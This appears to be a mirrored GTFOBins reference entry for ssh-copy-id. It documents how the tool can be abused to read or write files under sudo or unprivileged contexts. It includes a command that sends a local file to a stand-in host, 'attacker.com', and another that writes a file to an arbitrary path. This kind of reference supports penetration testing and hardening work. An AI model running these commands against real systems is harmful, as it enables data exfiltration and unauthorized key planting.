1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-08 06:56:15 +01:00
GTFOBins.github.io/_gtfobins/ssh-copy-id
2026-01-24 12:38:07 +01:00

20 lines
573 B
Plaintext

---
functions:
file-read:
- code: |-
ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com
comment: |-
The input file must have the `.pub` file extension. The file will be copied to `~/.ssh/authorized_keys`, otherwise the `-t /path/to/output-file` option can be used.
contexts:
sudo:
unprivileged:
file-write:
- code: |-
ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host
comment: |-
The input file must have the `.pub` file extension.
contexts:
sudo:
unprivileged:
...